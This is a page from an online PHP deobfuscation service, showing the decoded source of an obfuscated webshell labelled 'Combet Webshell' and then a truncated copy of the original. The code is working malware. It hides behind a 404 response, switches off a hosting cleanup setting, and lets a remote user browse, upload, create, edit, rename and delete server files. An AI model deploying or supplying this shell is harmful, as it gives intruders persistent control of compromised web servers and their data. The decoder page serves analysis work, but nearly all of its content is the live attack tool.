Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); ini_set(base64_decode('aW11bmlmeTM2MC5jbGVhbnVwX29uX3Jlc3RvcmU=..
Decoded Output download
<?php error_reporting(0);
ini_set(base64_decode('aW11bmlmeTM2MC5jbGVhbnVwX29uX3Jlc3RvcmU='), false);
http_response_code(404);
$G3 = base64_decode('c2NhbmRpcg==');
$c8 = [
base64_decode('NzA2ODcwNWY3NTZlNjE2ZDY1'),
base64_decode('NzA2ODcwNzY2NTcyNzM2OTZmNmU='),
base64_decode('Njc2NTc0NjM3NzY0'),
base64_decode('NjM2ODY0Njk3Mg=='),
base64_decode('NzA3MjY1Njc1ZjczNzA2YzY5NzQ='),
base64_decode('NjE3MjcyNjE3OTVmNjQ2OTY2NjY='),
base64_decode('Njk3MzVmNjQ2OTcy'),
base64_decode('Njk3MzVmNjY2OTZjNjU='),
base64_decode('Njk3MzVmNzc3MjY5NzQ2MTYyNmM2NQ=='),
base64_decode('Njk3MzVmNzI2NTYxNjQ2MTYyNmM2NQ=='),
base64_decode('NjY2OTZjNjU3MzY5N2E2NQ=='),
base64_decode('NjM2ZjcwNzk='),
base64_decode('NjY2OTZjNjU1ZjY1Nzg2OTczNzQ3Mw=='),
base64_decode('NjY2OTZjNjU1ZjcwNzU3NDVmNjM2ZjZlNzQ2NTZlNzQ3Mw=='),
base64_decode('NjY2OTZjNjU1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3Mw=='),
base64_decode('NmQ2YjY0Njk3Mg=='),
base64_decode('NzI2NTZlNjE2ZDY1'),
base64_decode('NzM3NDcyNzQ2Zjc0Njk2ZDY1'),
base64_decode('Njg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzM='),
base64_decode('NjQ2MTc0NjU='),
base64_decode('NjY2OTZjNjU2ZDc0Njk2ZDY1'),
];
$lE = 0;
T4:
if (!($lE < count($c8))) {
goto Je;
}
$c8[$lE] = JD($c8[$lE]);
Cy:
$lE++;
goto T4;
Je:
if (isset($_GET[base64_decode('cA==')])) {
goto sr;
}
$Jd = $c8[2]();
goto VN;
sr:
$Jd = jD($_GET[base64_decode('cA==')]);
$c8[3](Jd($_GET[base64_decode('cA==')]));
VN:
function Ss($SP)
{
$dE = '';
$lE = 0;
NZ:
if (!($lE < strlen($SP))) {
goto Xc;
}
$dE .= dechex(ord($SP[$lE]));
WK:
$lE++;
goto NZ;
Xc:
return $dE;
}
function Jd($SP)
{
$dE = '';
$gf = strlen($SP) - 1;
$lE = 0;
Xp:
if (!($lE < $gf)) {
goto ur;
}
$dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1]));
Wn:
$lE += 2;
goto Xp;
ur:
return $dE;
}
function rn($F1)
{
$Jd = fileperms($F1);
if (($Jd & 0xc000) == 0xc000) {
goto FZ;
}
if (($Jd & 0xa000) == 0xa000) {
goto Eu;
}
if (($Jd & 0x8000) == 0x8000) {
goto ES;
}
if (($Jd & 0x6000) == 0x6000) {
goto sA;
}
if (($Jd & 0x4000) == 0x4000) {
goto lG;
}
if (($Jd & 0x2000) == 0x2000) {
goto tV;
}
if (($Jd & 0x1000) == 0x1000) {
goto Tx;
}
$lE = base64_decode('dQ==');
goto cC;
FZ:
$lE = base64_decode('cw==');
goto cC;
Eu:
$lE = base64_decode('bA==');
goto cC;
ES:
$lE = base64_decode('LQ==');
goto cC;
sA:
$lE = base64_decode('Yg==');
goto cC;
lG:
$lE = base64_decode('ZA==');
goto cC;
tV:
$lE = base64_decode('Yw==');
goto cC;
Tx:
$lE = base64_decode('cA==');
cC:
$lE .= $Jd & 0x100 ? base64_decode('cg==') : base64_decode('LQ==');
$lE .= $Jd & 0x80 ? base64_decode('dw==') : base64_decode('LQ==');
$lE .= $Jd & 0x40 ? ($Jd & 0x800 ? base64_decode('cw==') : base64_decode('eA==')) : ($Jd & 0x800 ? base64_decode('Uw==') : base64_decode('LQ=='));
$lE .= $Jd & 0x20 ? base64_decode('cg==') : base64_decode('LQ==');
$lE .= $Jd & 0x10 ? base64_decode('dw==') : base64_decode('LQ==');
$lE .= $Jd & 0x8 ? ($Jd & 0x400 ? base64_decode('cw==') : base64_decode('eA==')) : ($Jd & 0x400 ? base64_decode('Uw==') : base64_decode('LQ=='));
$lE .= $Jd & 0x4 ? base64_decode('cg==') : base64_decode('LQ==');
$lE .= $Jd & 0x2 ? base64_decode('dw==') : base64_decode('LQ==');
$lE .= $Jd & 0x1 ? ($Jd & 0x200 ? base64_decode('dA==') : base64_decode('eA==')) : ($Jd & 0x200 ? base64_decode('VA==') : base64_decode('LQ=='));
return $lE;
}
function Xe($OB, $Ch = 1, $BL = '')
{
global $Jd;
$xe = $Ch == 1 ? base64_decode('c3VjY2Vzcw==') : base64_decode('ZXJyb3I=');
echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" .
Ss($Jd) .
$BL .
base64_decode('In19KTwvc2NyaXB0Pg==');
}
function tF($yf)
{
global $c8;
if (!(trim(pathinfo($yf, PATHINFO_BASENAME), base64_decode('Lg==')) === '')) {
goto IE;
}
return;
IE:
if ($c8[6]($yf)) {
goto PF;
}
unlink($yf);
goto jK;
PF:
array_map(
base64_decode('ZGVsZGly'),
glob($yf . DIRECTORY_SEPARATOR . base64_decode('eywufSo='), GLOB_BRACE | GLOB_NOSORT)
);
rmdir($yf);
jK:
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta property="og:image" content="//dl.dropboxusercontent.com/s/gjdpc0so99lr8gt/combet.png" />
<meta property="og:title" content="Combet Webshell" />
<meta property="og:description" content="" />
<meta name="theme-color" content="cyan">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<title>Combet Webshell</title>
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="icon" href="//dl.dropboxusercontent.com/s/gjdpc0so99lr8gt/combet.png">
<style type="text/css">
@import url('https://fonts.googleapis.com/css2?family=Merienda:ital,wght@0,400;0,700;1,400;1,700&display=swap');
@import url('//fonts.googleapis.com/css2?family=Protest+Revolution&display=swap');
@import url('https://fonts.googleapis.com/css2?family=Merienda:[email protected]&display=swap');
body {
color: black;
font-size: 0px;
font-family: 'Merienda';
width: 99%;
padding: 0px;
margin-right: auto;
margin-left: auto;
margin-top: 7px;
margin-bottom: 7px;
background-color: black!important;
}
.bg-dark {
background-color: black!important;
}
.border {
box-shadow: 0px 0px 10px cyan;
border: 2px solid cyan!important;
border-radius: 5px;
background: transparent;
}
.border:hover {
box-shadow: 0px 0px 10px cyan;
border: 2px solid cyan!important;
}
.table td {
padding: 0.1rem;
box-shadow: inset 0px 0px 0px 1px cyan;
border-radius: 2px;
}
.table thead th {
font-family: inherit;
color: yellow;
padding: 0.25rem;
border-radius: 5px;
box-shadow: inset 0px 0px 0px 1.5px cyan;
background: linear-gradient(to bottom, black, #3f3f3f80);
}
.table-hover tbody tr:hover td {
background: #3f3f3f80;
border-radius: 2px;
}
.table-hover tbody tr:hover td>* {
}
.table>tbody>tr>* {
color:#fff;
vertical-align:middle;
}
.form-control {
background:0 0!important;
color:#fff!important;
border-radius:0;
}
.form-control::placeholder {
color:#fff;
opacity:1;
}
.form-group {
margin-top: 1.5px;
margin-bottom: 1.5px;
}
li {
font-size:17px!important;
color: yellow!important;
list-style: inherit!important;
line-height: 1.6;
}
a {
color: #ffffff;
text-decoration: none!important;
}
a:hover {
text-decoration: none!important;
color: cyan;
animation: kedip 1s linear infinite;
}
h5 {
margin-top: 1.5px;
margin-bottom: 1.5px;
font-size: 18px!important;
color: yellow!important;
padding: 2px;
font-family: inherit;
}
form {
padding-bottom: 0.1rem;
padding-top: 0.35rem;
}
textarea {
width: 97%;
font-size: 16px;
font-family: inherit;
height: 44vh;
padding-left: 5px;
}
button, input {
border: 2px solid cyan;
border-radius: 5px;
color: white;
font-size: 14px;
line-height: normal;
font-family: inherit;
background: transparent;
}
button, input:hover {
border: 2px solid yellow;
cursor: pointer;
}
.ohct {
padding-left: 1rem;
padding-right: 1rem;
color: white;
border: 2px solid cyan;
border-radius: 5px;
background-color: transparent;
font-family: inherit;
font-size: 15px;
}
.ohct:hover {
border: 2px solid yellow;
color: yellow!important;
}
.combet {
color: white;
}
.combet:hover {
color: cyan;
}
.p-1 {
padding: 4px;
}
::selection {
color: black;
background: silver;
}
.fa {
padding: 10px;
font-size: 20px;
width: 50px;
text-align: center;
text-decoration: none;
margin: 5px;
color: yellow;
}
.fa:hover {
border: 2px solid cyan;
}
.text-light {
color: #f8f9fa!important;
font-size: 17px!important;
}
.kedip {
animation: kedip 1s linear infinite;
}
@keyframes kedip {
0% {
color: cyan;
}
50% {
color: yellow;
}
100% {
color: cyan;
}
}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;border: 2px solid cyan;border-radius:5px;">
<div style="text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;">
<a href="?" style="font-size: 2rem;font-family: Merienda;padding-left: 0.3rem;padding-right: 0.3rem;"><span class="kedip">Mr.Combet Webshell</span></a>
</div>
<li>Your IP : <span style="color: white;"><?php echo $_SERVER[base64_decode('UkVNT1RFX0FERFI=')]; ?></span></li>
<li>Server IP : <span style="color: white;"><?php echo gethostbyname($_SERVER[base64_decode('U0VSVkVSX0FERFI=')]); ?></span></li>
<li>Server : <span style="color: white;"><?php echo php_uname(); ?></span></li>
<li>Server Software : <span style="color: white;"><?php echo $_SERVER[base64_decode('U0VSVkVSX1NPRlRXQVJF')]; ?></span></li>
<li>PHP Version : <span style="color: white;"><?php echo phpversion(); ?></span></li>
<li><a href="?p=<?= ss($Jd) . base64_decode('JmE9') . Ss(base64_decode('bmV3RmlsZQ==')) ?>" class="ohct">Buat File</a> | <a href="?p=<?= Ss($Jd) . base64_decode('JmE9') . sS(base64_decode('bmV3RGly')) ?>" class="ohct">Buat Folder</a></li>
<li>
<form method="post" enctype="multipart/form-data" style="padding: 0.10rem;display: inline-block;">
<input type="file" name="files[]">
<input type="submit" value="Upload" name="submit" class="button ohct">
</form>
<?php if (!isset($_FILES[base64_decode('ZmlsZXM=')])) {
goto ea;
}
$uploadedFiles = $_FILES[base64_decode('ZmlsZXM=')][base64_decode('bmFtZQ==')];
$index = 0;
th:
if (!($index < count($uploadedFiles))) {
goto ea;
}
if (move_uploaded_file($_FILES[base64_decode('ZmlsZXM=')][base64_decode('dG1wX25hbWU=')][$index], $uploadedFiles[$index])) {
goto PG;
}
Xe(base64_decode('RmlsZSBnYWdhbCBkaXVuZ2dhaA=='), 0);
goto tG;
PG:
xe(base64_decode('RmlsZSBiZXJoYXNpbCBkaXVuZ2dhaA=='));
tG:
$index++;
goto th;
dx:
ea:
if (!isset($_GET[base64_decode('ZG93bmxvYWQ=')])) {
goto FA;
}
header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0='));
header(base64_decode('Q29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogQmluYXJ5'));
header(base64_decode('Q29udGVudC1MZW5ndGg6IA==') . getFileSize($_GET[base64_decode('bmFtZQ==')]));
header(base64_decode('Q29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ig==') . $_GET[base64_decode('bmFtZQ==')] . base64_decode('Ig=='));
FA:
?>
</li>
</div>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;margin-bottom: 3px;margin-top: 3px;border: 2px solid cyan;border-radius:5px;">
<li>Dir : <span><?php $Op = $c8[4](base64_decode('LyhcXHxcLykv'), $Jd);
foreach ($Op as $j3 => $Oe) {
if (!($j3 == 0 && $Oe == '')) {
goto xi;
}
echo base64_decode('PGEgaHJlZj0iP3A9MmYiIGNsYXNzPSJjb21iZXQiPn48L2E+Lw==');
goto CS;
xi:
if (!($Oe == '')) {
goto sq;
}
goto CS;
sq:
echo base64_decode('PGEgY2xhc3M9ImNvbWJldCIgaHJlZj0iP3A9');
$lE = 0;
de:
if (!($lE <= $j3)) {
goto ie;
}
echo sS($Op[$lE]);
if (!($lE != $j3)) {
goto s0;
}
echo base64_decode('MmY=');
s0:
dg:
$lE++;
goto de;
ie:
echo "\">{$Oe}</a>/";
CS:
}
Go:
?>
</span></li></div>
<div class="table-responsive text-light" style="text-align: center;font-family: inherit;font-size: large;">
<?php if (!isset($_GET[base64_decode('YQ==')])) {
goto Un;
}
if (!isset($_GET[base64_decode('YQ==')])) {
goto cc;
}
$im = Jd($_GET[base64_decode('YQ==')]);
cc:
?>
<?php if ($im == base64_decode('ZGVsZXRl')) {
$BL = $Jd . base64_decode('Lw==') . jd($_GET[base64_decode('bg==')]);
if ($_GET[base64_decode('dA==')] == base64_decode('ZA==')) {
rmdir($BL);
if (!file_exists($BL)) {
xe(base64_decode('Zm9sZGVyIGRlbGV0ZWQgc3VjY2Vzc2Z1bGx5'));
} else {
Xe(base64_decode('ZmFpbGVkIHRvIGRlbGV0ZSB0aGUgZm9sZGVy'), 0);
}
}
if ($_GET[base64_decode('dA==')] == base64_decode('Zg==')) {
unlink($BL);
if (!file_exists($BL)) {
xe(base64_decode('ZmlsZSBkZWxldGVkIHN1Y2Nlc3NmdWxseQ=='));
} else {
Xe(base64_decode('ZmFpbGVkIHRvIGRlbGV0ZSB0aGUgZmlsZQ=='), 0);
}
}
} else {
Lu:
}
?>
<?php if ($im == base64_decode('bmV3RGly')) {
goto Fg;
}
if ($im == base64_decode('bmV3RmlsZQ==')) {
goto Pb;
}
if ($im == base64_decode('cmVuYW1l')) {
goto Lw;
}
if ($im == base64_decode('ZWRpdA==')) {
goto Ox;
}
if ($im == base64_decode('dmlldw==')) {
goto Ag;
}
goto WC;
Fg:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid cyan;border-radius:5px;">New Folder Name :</h5>
<form method="post">
<div class="form-group">
<input name="n" id="n" class="border p-1" autocomplete="off" style="text-align: center;">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
<?php isset($_POST[base64_decode('cw==')])
? (file_exists("{$Jd}/{$_POST[base64_decode('bg==')]}")
? xE(base64_decode('Zm9sZGVyIG5hbWUgaGFzIGJlZW4gdXNlZA=='), 0, base64_decode('JmE9') . SS(base64_decode('bmV3RGly')))
: (mkdir("{$Jd}/{$_POST[base64_decode('bg==')]}")
? xe(base64_decode('Zm9sZGVyIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5'))
: Xe(base64_decode('Zm9sZGVyIGZhaWxlZCB0byBjcmVhdGU='), 0)))
: null;
goto WC;
Pb:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid cyan;border-radius:5px;">New File Name :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border p-1" placeholder="" style="text-align: center;">
</div>
<div class="form-group">
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
<?php if (isset($_POST[base64_decode('cw==')])) {
if (file_exists("{$Jd}/{$_POST[base64_decode('bg==')]}")) {
xE(base64_decode('bmFtYSBmaWxlIHRlbGFoIGRpZ3VuYWthbg=='), 0, base64_decode('JmE9') . SS(base64_decode('bmV3RmlsZQ==')));
} else {
if (file_put_contents("{$Jd}/{$_POST[base64_decode('bg==')]}", $_POST[base64_decode('Y3Ru')])) {
xe(base64_decode('ZmlsZSBiZXJoYXNpbCBkaWJ1YXQ='), 1, base64_decode('JmE9') . ss(base64_decode('dmlldw==')) . base64_decode('Jm49') . Ss($_POST[base64_decode('bg==')]));
} else {
Xe(base64_decode('ZmlsZSBnYWdhbCBkaWJ1YXQ='), 0);
}
}
} else {
null;
}
goto WC;
Lw:
?>
<h5 class="border p-1">Rename File : <?= jD($_GET[base64_decode('bg==')]) ?></h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" style="text-align: center;" class="border p-1" value="<?= jD(
$_GET[base64_decode('bg==')]
) ?>">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
<?php isset($_POST[base64_decode('cw==')])
? (rename($Jd . base64_decode('Lw==') . jD($_GET[base64_decode('bg==')]), $_POST[base64_decode('bg==')])
? xe(base64_decode('c3VjY2Vzc2Z1bGx5IGNoYW5nZWQgdGhlIGZvbGRlciBuYW1l'))
: Xe(base64_decode('ZmFpbGVkIHRvIGNoYW5nZSB0aGUgZm9sZGVyIG5hbWU='), 0))
: null;
goto WC;
Ox:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid cyan;border-radius:5px;">Edit File Name : <font color="white"><?= Jd(
$_GET[base64_decode('bg==')]
) ?></font></h5>
<form method="post">
<div class="form-group">
<textarea name="ctn" id="ctn" cols="90" rows="10" class="form-control border"><?= $c8[18](
file_get_contents($Jd . base64_decode('Lw==') . jD($_GET[base64_decode('bg==')]))
) ?></textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
<?php if (isset($_POST[base64_decode('cw==')])) {
if (file_put_contents($Jd . base64_decode('Lw==') . jD($_GET[base64_decode('bg==')]), $_POST[base64_decode('Y3Ru')])) {
xe(
base64_decode('a29udGVuIGZpbGUgYmVyaGFzaWwgZGl1YmFo'),
1,
base64_decode('JmE9') . sS(base64_decode('dmlldw==')) . "&n={$_GET[base64_decode('bg==')]}"
);
} else {
xE(base64_decode('a29udGVuIGZpbGUgZ2FnYWwgZGl1YmFo'));
}
}
goto WC;
Ag:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid cyan;border-radius:5px;">View File Name : <font color="white"><?= jd(
$_GET[base64_decode('bg==')]
) ?></font></h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly><?= $c8[18](
$c8[14]($Jd . base64_decode('Lw==') . jd($_GET[base64_decode('bg==')]))
) ?></textarea>
</div>
<?php WC: ?>
</div>
<?php goto mR;
Un:
?>
<table class="table table-hover table-borderless table-sm" style="text-align: center;width: 100%;">
<thead class="text-light">
<tr>
<th style="width: 45%;">Name</th>
<th style="width: 13%;">Size</th>
<th style="width: 13%;">Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light"> <?php $G3 = $c8[5]($G3($Jd), [base64_decode('Lg=='), base64_decode('Li4=')]);
foreach ($G3 as $yf) {
if ($c8[6]("{$Jd}/{$yf}")) {
goto CB;
}
goto Qj;
CB:
echo base64_decode('IA0KPHRyPg0KPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyI+DQo8aSBjbGFzcz0iZmEgZmEtZncgZmEtZm9sZGVyLW8iIHN0eWxlPSJib3JkZXI6IDA7cGFkZGluZzogMDt3aWR0aDogMS4yODU3MTQyOWVtOyI+PC9pPjxhIGhyZWY9Ij9wPQ==') .
sS("{$Jd}/{$yf}") .
base64_decode('IiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJMYXRlc3QgbW9kaWZ5IG9uIA==') .
$c8[19](base64_decode('WS1tLWQgSDpp'), $c8[20]("{$Jd}/{$yf}")) .
"\">{$yf}</a></td>
<td style=\"color: black;\"><span></span></td>
<td><font color=\"" .
($c8[8]("{$Jd}/{$yf}")
? base64_decode('IzAwZmYwMA==')
: (!$c8[9]("{$Jd}/{$yf}")
? base64_decode('Y3lhbg==')
: null)) .
base64_decode('Ij4=') .
RN("{$Jd}/{$yf}") .
base64_decode('PC9mb250PjwvdGQ+DQo8dGQgc3R5bGU9ImNvbG9yOiBibGFjazt3aWR0aDogOS41JTsiPjxzcGFuPjwvc3Bhbj48L3RkPg0KPHRkPg0KPGEgaHJlZj0iP3A9') .
ss($Jd) .
base64_decode('JmE9') .
ss(base64_decode('cmVuYW1l')) .
base64_decode('Jm49') .
ss($yf) .
base64_decode('JnQ9ZCIgZGF0YS10b2dnbGU9InRvb2x0aXAiIGRhdGEtcGxhY2VtZW50PSJhdXRvIiB0aXRsZT0iUmVuYW1lIj5SZW5hbWU8L2E+DQo8L3RkPg0KPHRkPg0KPGEgaHJlZj0iP3A9') .
sS($Jd) .
base64_decode('JmE9') .
ss(base64_decode('ZGVsZXRl')) .
base64_decode('Jm49') .
ss($yf) .
base64_decode('IiBjbGFzcz0iZGVsZXRlIiBkYXRhLXR5cGU9ImZvbGRlciIgZGF0YS10b2dnbGU9InRvb2x0aXAiIGRhdGEtcGxhY2VtZW50PSJhdXRvIiB0aXRsZT0iRGVsZXRlIj5EZWxldGU8L2E+DQo8L3RkPg0KPC90cj4=');
Qj:
}
ad:
foreach ($G3 as $F1) {
if ($c8[7]("{$Jd}/{$F1}")) {
goto wA;
}
goto X1;
wA:
$kL = $c8[10]("{$Jd}/{$F1}") / 1024;
$kL = round($kL, 3);
$kL = $kL > 1024 ? round($kL / 1024, 2) . base64_decode('ICBNQg==') : $kL . base64_decode('ICBLQg==');
echo base64_decode('DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7Ij4NCjxpIGNsYXNzPSJmYSBmYS1mdyBmYS1maWxlLW8iIHN0eWxlPSJib3JkZXI6IDA7cGFkZGluZzogMDt3aWR0aDogMS4yODU3MTQyOWVtOyI+PC9pPjxhIGhyZWY9Ij9wPQ==') .
SS($Jd) .
base64_decode('JmE9') .
sS(base64_decode('dmlldw==')) .
base64_decode('Jm49') .
SS($F1) .
base64_decode('IiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJMYXRlc3QgbW9kaWZ5IG9uIA==') .
$c8[19](base64_decode('WS1tLWQgSDpp'), $c8[20]("{$Jd}/{$F1}")) .
"\">{$F1}</a></td>
<td><span>{$kL}</span></td>
<td><font color=\"" .
($c8[8]("{$Jd}/{$F1}")
? base64_decode('IzAwZmYwMA==')
: (!$c8[9]("{$Jd}/{$F1}")
? base64_decode('Y3lhbg==')
: null)) .
base64_decode('Ij4=') .
rN("{$Jd}/{$F1}") .
base64_decode('PC9mb250PjwvdGQ+DQo8dGQ+PGEgaHJlZj0iP3A9') .
Ss($Jd) .
base64_decode('JmE9') .
Ss(base64_decode('ZWRpdA==')) .
base64_decode('Jm49') .
SS($F1) .
base64_decode('IiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJFZGl0Ij5FZGl0PC9hPjwvdGQ+DQo8dGQ+PGEgaHJlZj0iP3A9') .
ss($Jd) .
base64_decode('JmE9') .
SS(base64_decode('cmVuYW1l')) .
base64_decode('Jm49') .
ss($F1) .
base64_decode('JnQ9ZiIgZGF0YS10b2dnbGU9InRvb2x0aXAiIGRhdGEtcGxhY2VtZW50PSJhdXRvIiB0aXRsZT0iUmVuYW1lIj5SZW5hbWU8L2E+PC90ZD4NCjx0ZD48YSBocmVmPSI/cD0=') .
ss($Jd) .
base64_decode('JmE9') .
sS(base64_decode('ZGVsZXRl')) .
base64_decode('Jm49') .
ss($F1) .
base64_decode('IiBjbGFzcz0iZGVsZXRlIiBkYXRhLXR5cGU9ImZpbGUiIGRhdGEtdG9nZ2xlPSJ0b29sdGlwIiBkYXRhLXBsYWNlbWVudD0iYXV0byIgdGl0bGU9IkRlbGV0ZSI+RGVsZXRlPC9hPjwvdGQ+DQo8L3RyPg==');
X1:
}
a2:
?>
</tbody>
</table>
<?php mR: ?>
</div>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" ></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>
</body>
</html>
Did this file decode correctly?
Original Code
<?php error_reporting(0);
ini_set(base64_decode('aW11bmlmeTM2MC5jbGVhbnVwX29uX3Jlc3RvcmU='), false);
http_response_code(404);
$G3 = base64_decode('c2NhbmRpcg==');
$c8 = [
base64_decode('NzA2ODcwNWY3NTZlNjE2ZDY1'),
base64_decode('NzA2ODcwNzY2NTcyNzM2OTZmNmU='),
base64_decode('Njc2NTc0NjM3NzY0'),
base64_decode('NjM2ODY0Njk3Mg=='),
base64_decode('NzA3MjY1Njc1ZjczNzA2YzY5NzQ='),
base64_decode('NjE3MjcyNjE3OTVmNjQ2OTY2NjY='),
base64_decode('Njk3MzVmNjQ2OTcy'),
base64_decode('Njk3MzVmNjY2OTZjNjU='),
base64_decode('Njk3MzVmNzc3MjY5NzQ2MTYyNmM2NQ=='),
base64_decode('Njk3MzVmNzI2NTYxNjQ2MTYyNmM2NQ=='),
base64_decode('NjY2OTZjNjU3MzY5N2E2NQ=='),
base64_decode('NjM2ZjcwNzk='),
base64_decode('NjY2OTZjNjU1ZjY1Nzg2OTczNzQ3Mw=='),
base64_decode('NjY2OTZjNjU1ZjcwNzU3NDVmNjM2ZjZlNzQ2NTZlNzQ3Mw=='),
base64_decode('NjY2OTZjNjU1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3Mw=='),
base64_decode('NmQ2YjY0Njk3Mg=='),
base64_decode('NzI2NTZlNjE2ZDY1'),
base64_decode('NzM3NDcyNzQ2Zjc0Njk2ZDY1'),
base64_decode('Njg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzM='),
base64_decode('NjQ2MTc0NjU='),
base64_decode('NjY2OTZjNjU2ZDc0Njk2ZDY1'),
];
$lE = 0;
T4:
if (!($lE < count($c8))) {
goto Je;
}
$c8[$lE] = JD($c8[$lE]);
Cy:
$lE++;
goto T4;
Je:
if (isset($_GET[base64_decode('cA==')])) {
goto sr;
}
$Jd = $c8[2]();
goto VN;
sr:
$Jd = jD($_GET[base64_decode('cA==')]);
$c8[3](Jd($_GET[base64_decode('cA==')]));
VN:
function Ss($SP)
{
$dE = '';
$lE = 0;
NZ:
if (!($lE < strlen($SP))) {
goto Xc;
}
$dE .= dechex(ord($SP[$lE]));
WK:
$lE++;
goto NZ;
Xc:
return $dE;
}
function Jd($SP)
{
$dE = '';
$gf = strlen($SP) - 1;
$lE = 0;
Xp:
if (!($lE < $gf)) {
goto ur;
}
$dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1]));
Wn:
$lE += 2;
goto Xp;
ur:
return $dE;
}
function rn($F1)
{
$Jd = fileperms($F1);
if (($Jd & 0xc000) == 0xc000) {
goto FZ;
}
if (($Jd & 0xa000) == 0xa000) {
goto Eu;
}
if (($Jd & 0x8000) == 0x8000) {
goto ES;
}
if (($Jd & 0x6000) == 0x6000) {
goto sA;
}
if (($Jd & 0x4000) == 0x4000) {
goto lG;
}
if (($Jd & 0x2000) == 0x2000) {
goto tV;
}
if (($Jd & 0x1000) == 0x1000) {
goto Tx;
}
$lE = base64_decode('dQ==');
goto cC;
FZ:
$lE = base64_decode('cw==');
goto cC;
Eu:
$lE = base64_decode('bA==');
goto cC;
ES:
$lE = base64_decode('LQ==');
goto cC;
sA:
$lE = base64_decode('Yg==');
goto cC;
lG:
$lE = base64_decode('ZA==');
goto cC;
tV:
$lE = base64_decode('Yw==');
goto cC;
Tx:
$lE = base64_decode('cA==');
cC:
$lE .= $Jd & 0x100 ? base64_decode('cg==') : base64_decode('LQ==');
$lE .= $Jd & 0x80 ? base64_decode('dw==') : base64_decode('LQ==');
$lE .= $Jd & 0x40 ? ($Jd & 0x800 ? base64_decode('cw==') : base64_decode('eA==')) : ($Jd & 0x800 ? base64_decode('Uw==') : base64_decode('LQ=='));
$lE .= $Jd & 0x20 ? base64_decode('cg==') : base64_decode('LQ==');
$lE .= $Jd & 0x10 ? base64_decode('dw==') : base64_decode('LQ==');
$lE .= $Jd & 0x8 ? ($Jd & 0x400 ? base64_decode('cw==') : base64_decode('eA==')) : ($Jd & 0x400 ? base64_decode('Uw==') : base64_decode('LQ=='));
$lE .= $Jd & 0x4 ? base64_decode('cg==') : base64_decode('LQ==');
$lE .= $Jd & 0x2 ? base64_decode('dw==') : base64_decode('LQ==');
$lE .= $Jd & 0x1 ? ($Jd & 0x200 ? base64_decode('dA==') : base64_decode('eA==')) : ($Jd & 0x200 ? base64_decode('VA==') : base64_decode('LQ=='));
return $lE;
}
function Xe($OB, $Ch = 1, $BL = '')
{
global $Jd;
